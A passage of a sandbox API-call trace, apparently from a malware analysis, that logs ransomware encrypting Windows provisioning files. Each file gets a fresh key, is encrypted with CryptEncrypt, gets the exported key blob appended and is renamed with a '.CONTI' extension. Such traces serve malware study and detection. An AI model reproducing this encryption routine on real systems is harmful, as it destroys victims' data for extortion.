	[0110.055] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml.CONTI"
	[0110.055] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\289__Connections_Cellular_KPN-Hi (Netherlands)_i7$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\289__connections_cellular_kpn-hi (netherlands)_i7$(__mvid)@wap.provxml.conti")) returned 1
	[0110.056] GetProcessHeap () returned 0x1720000
	[0110.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.056] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0110.056] GetProcessHeap () returned 0x1720000
	[0110.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b73b60 | out: hHeap=0x1720000) returned 1
	[0110.056] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.056] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b77ae8 | out: phKey=0x6b77ae8*=0x6b7f678) returned 1
	[0110.056] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b77aec, pdwDataLen=0x573fb4c | out: pbData=0x6b77aec*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.057] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.057] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.057] GetLastError () returned 0x0
	[0110.057] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=648) returned 1
	[0110.058] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x288
	[0110.058] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.058] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.058] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.058] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.058] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b77aec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b77aec*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.060] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.060] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x288, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x288, lpOverlapped=0x0) returned 1
	[0110.060] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x288, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x290) returned 1
	[0110.060] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.060] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x290, lpOverlapped=0x0) returned 1
	[0110.060] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.060] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b77ae0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b77ae0*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.060] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.060] CloseHandle (hObject=0x3d8) returned 1
	[0110.061] GetProcessHeap () returned 0x1720000
	[0110.061] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.061] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml"
	[0110.061] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0110.061] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\28__Connections_Cellular_Hutchison - 3 (Austria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\28__connections_cellular_hutchison - 3 (austria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0110.061] GetProcessHeap () returned 0x1720000
	[0110.061] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.061] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.061] GetProcessHeap () returned 0x1720000
	[0110.061] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b734a8 | out: hHeap=0x1720000) returned 1
	[0110.061] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.061] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b78408 | out: phKey=0x6b78408*=0x6b7f678) returned 1
	[0110.062] CryptExportKey (in: hKey=0x6b7f678, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b7840c, pdwDataLen=0x573fb4c | out: pbData=0x6b7840c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.062] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml")) returned 0x20
	[0110.062] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.063] GetLastError () returned 0x0
	[0110.063] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=739) returned 1
	[0110.063] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e3
	[0110.063] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.063] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.063] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.063] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.063] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b7840c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b7840c*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.065] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.065] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2e3, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2e3, lpOverlapped=0x0) returned 1
	[0110.065] CryptEncrypt (in: hKey=0x6b7f678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e3, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2f0) returned 1
	[0110.065] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.065] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2f0, lpOverlapped=0x0) returned 1
	[0110.065] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.065] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b78400*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b78400*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.065] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.065] CloseHandle (hObject=0x3d8) returned 1
	[0110.065] GetProcessHeap () returned 0x1720000
	[0110.065] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0110.065] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml"
	[0110.065] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml.CONTI"
	[0110.065] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\290__Connections_Cellular_KPN-Hi (Netherlands)_i8$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\290__connections_cellular_kpn-hi (netherlands)_i8$(__mvid)@wap.provxml.conti")) returned 1
	[0110.066] GetProcessHeap () returned 0x1720000
	[0110.066] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0110.066] CryptDestroyKey (hKey=0x6b7f678) returned 1
	[0110.066] GetProcessHeap () returned 0x1720000
	[0110.066] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b73cb8 | out: hHeap=0x1720000) returned 1
	[0110.066] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.066] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6b751d8 | out: phKey=0x6b751d8*=0x6b7f478) returned 1
	[0110.066] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b751dc, pdwDataLen=0x573fb4c | out: pbData=0x6b751dc*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.067] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml")) returned 0x20
	[0110.067] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8
	[0110.067] GetLastError () returned 0x0
	[0110.067] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=722) returned 1
	[0110.067] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d2
	[0110.067] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.067] SetEndOfFile (hFile=0x3d8) returned 1
	[0110.068] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.068] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.068] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b751dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x573fb04, lpOverlapped=0x0 | out: lpBuffer=0x6b751dc*, lpNumberOfBytesWritten=0x573fb04*=0x20c, lpOverlapped=0x0) returned 1
	[0110.481] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.481] ReadFile (in: hFile=0x3d8, lpBuffer=0x107e0000, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x573fb24, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesRead=0x573fb24*=0x2d2, lpOverlapped=0x0) returned 1
	[0110.481] CryptEncrypt (in: hKey=0x6b7f478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2d2, dwBufLen=0x500000 | out: pbData=0x107e0000*, pdwDataLen=0x573fb1c*=0x2e0) returned 1
	[0110.481] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.481] WriteFile (in: hFile=0x3d8, lpBuffer=0x107e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x573fb38, lpOverlapped=0x0 | out: lpBuffer=0x107e0000*, lpNumberOfBytesWritten=0x573fb38*=0x2e0, lpOverlapped=0x0) returned 1
	[0110.481] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.481] WriteFile (in: hFile=0x3d8, lpBuffer=0x6b751d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x573fb50, lpOverlapped=0x0 | out: lpBuffer=0x6b751d0*, lpNumberOfBytesWritten=0x573fb50*=0x8, lpOverlapped=0x0) returned 1
	[0110.481] SetFilePointer (in: hFile=0x3d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0110.481] CloseHandle (hObject=0x3d8) returned 1
	[0110.481] GetProcessHeap () returned 0x1720000
	[0110.481] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x653b900
	[0110.644] lstrcpyW (in: lpString1=0x653b900, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml"
	[0110.644] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml.CONTI"
	[0110.644] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\291__Connections_Cellular_KPN-Hi (Netherlands)_i9$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\291__connections_cellular_kpn-hi (netherlands)_i9$(__mvid)@wap.provxml.conti")) returned 1
	[0110.645] GetProcessHeap () returned 0x1720000
	[0110.645] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x653b900 | out: hHeap=0x1720000) returned 1
	[0110.645] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0110.645] GetProcessHeap () returned 0x1720000
	[0110.645] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f9b30 | out: hHeap=0x1720000) returned 1
	[0110.645] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x573fb78, lpCompletionKey=0x573fb7c, lpOverlapped=0x573fb88) returned 1
	[0110.645] CryptGenKey (in: hProv=0x176c4e0, Algid=0x6610, dwFlags=0x1, phKey=0x6565148 | out: phKey=0x6565148*=0x17c8330) returned 1
	[0110.645] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x175e7f0, dwBlobType=0x1, dwFlags=0x0, pbData=0x656514c, pdwDataLen=0x573fb4c | out: pbData=0x656514c*, pdwDataLen=0x573fb4c*=0x20c) returned 1
	[0110.646] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0110.646] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\327__Connections_Cellular_Globe (Philippines)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\327__connections_cellular_globe (philippines)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0
	[0110.646] GetLastError () returned 0x0
	[0110.646] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x573faf8 | out: lpFileSize=0x573faf8*=658) returned 1
	[0110.646] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x292
	[0110.647] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.647] SetEndOfFile (hFile=0x3d0) returned 1
	[0110.647] SetFilePointer (in: hFile=0x3d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
